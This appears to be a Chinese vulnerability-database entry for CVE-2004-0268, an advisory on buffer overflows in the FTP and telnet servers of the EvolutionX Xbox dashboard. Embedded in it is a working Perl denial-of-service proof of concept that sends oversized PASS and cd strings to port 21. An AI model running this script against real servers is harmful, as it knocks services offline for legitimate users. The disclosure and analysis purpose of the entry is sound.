CVE-2004-0268
CVSS5.0
发布时间 :2004-11-23 00:00:00
修订时间 :2016-10-17 22:42:47
NMCOES    

[原文]Multiple buffer overflows in EvolutionX 3921 and 3935 allow remote attackers to cause a denial of service (hang) via (1) a long cd command to the FTP server, or (2) a long dir command to the telnet server.


[CNNVD]EvolutionX多个远程缓冲区溢出漏洞(CNNVD-200411-073)

        EvolutionX 3921以及3935存在多个缓冲区溢出漏洞。远程攻击者可以借助(1)一个到FTP服务器的长cd命令,或者(2)一个到远程登录服务器的超长dir命令导致服务拒绝(挂起)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:evolutionx:evolutionx:build_3935
cpe:/a:evolutionx:evolutionx:build_3921

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0268
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0268
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200411-073
(官方数据源) CNNVD

- 其它链接及资源

http://lists.grok.org.uk/pipermail/full-disclosure/2004-February/016988.html
(UNKNOWN)  FULLDISC  20040210 XBOX EvolutionX ftp 'cd' command and telnet 'dir' buffer overflow
http://marc.info/?l=bugtraq&m=107643394724891&w=2
(UNKNOWN)  BUGTRAQ  20040210 XBOX EvolutionX ftp 'cd' command and telnet 'dir' buffer overflow
http://www.securityfocus.com/bid/9631
(VENDOR_ADVISORY)  BID  9631
http://xforce.iss.net/xforce/xfdb/15104
(VENDOR_ADVISORY)  XF  evolutionx-command-line-dos(15104)

- 漏洞信息

EvolutionX多个远程缓冲区溢出漏洞
中危 缓冲区溢出
2004-11-23 00:00:00 2005-10-20 00:00:00
远程  
        EvolutionX 3921以及3935存在多个缓冲区溢出漏洞。远程攻击者可以借助(1)一个到FTP服务器的长cd命令,或者(2)一个到远程登录服务器的超长dir命令导致服务拒绝(挂起)。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (23681)

EvolutionX Multiple Remote Buffer Overflow Vulnerabilities (EDBID:23681)
windows dos
2004-02-10 Verified
0 Moth7
N/A [点击下载]
source: http://www.securityfocus.com/bid/9631/info

The FTP server that is distributed with EvolutionX has been reported prone to multiple buffer overflow vulnerabilities. The first of these vulnerabilities exists post-authentication, and is due to a lack of sufficient bounds checking performed on arguments that are passed to the 'cd' command.

The second issue exists pre-authentication, excessive data passed as username:password combination to the affected FTP server will trigger the buffer overrun. 

Finally the telnet server that is distributed with EvolutionX has been reported prone to a buffer overflow vulnerability when handling excessive data passed as an argument to the 'dir' command. 

An attacker may exploit any one of these issues to deny service to legitimate users of the XBOX appliance, it has been conjectured that these issues may be exploitable to result in arbitrary code execution.

#!/usr/bin/perl
#
# EvolutionX buffer overflow by Moth7
# http://www.bit-labs.net
#
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "ftp(21)",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = '\m/'x999;

print $remote "PASS ".$buf."\r\n";      # Try and overrun the PASS buffer
sleep(1);

print $remote"cd ".$buf."\r\n";         # If it fails then overrun the cd buffer instead -
sleep(1);                               # but 2997 characters should do it :p

close $remote;
		

- 漏洞信息

3897
EvolutionX FTP Server cd Command DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

EvolutionX contains a flaw that may allow a remote denial of service. The issue is triggered when the cd command is used with a very long string, and will result in loss of availability for the platform.

- 时间线

2004-02-09 2004-02-09
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

EvolutionX Multiple Remote Buffer Overflow Vulnerabilities
Boundary Condition Error 9631
Yes No
2004-02-10 12:00:00 2009-07-12 02:06:00
Discovery of these vulnerabilities has been credited to icbm <icbm@0x557.net> and Stefan Esser <s.esser@e-matters.de>.

- 受影响的程序版本

EvolutionX EvolutionX Build 3935
EvolutionX EvolutionX Build 3921

- 漏洞讨论

The FTP server that is distributed with EvolutionX has been reported prone to multiple buffer overflow vulnerabilities. The first of these vulnerabilities exists post-authentication, and is due to a lack of sufficient bounds checking performed on arguments that are passed to the 'cd' command.

The second issue exists pre-authentication, excessive data passed as username:password combination to the affected FTP server will trigger the buffer overrun.

Finally the telnet server that is distributed with EvolutionX has been reported prone to a buffer overflow vulnerability when handling excessive data passed as an argument to the 'dir' command.

An attacker may exploit any one of these issues to deny service to legitimate users of the XBOX appliance, it has been conjectured that these issues may be exploitable to result in arbitrary code execution.

- 漏洞利用

"Mike Brownbill" &lt;moth7@hackermail.com&gt; has supplied the following proof of concept denial of service exploit:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

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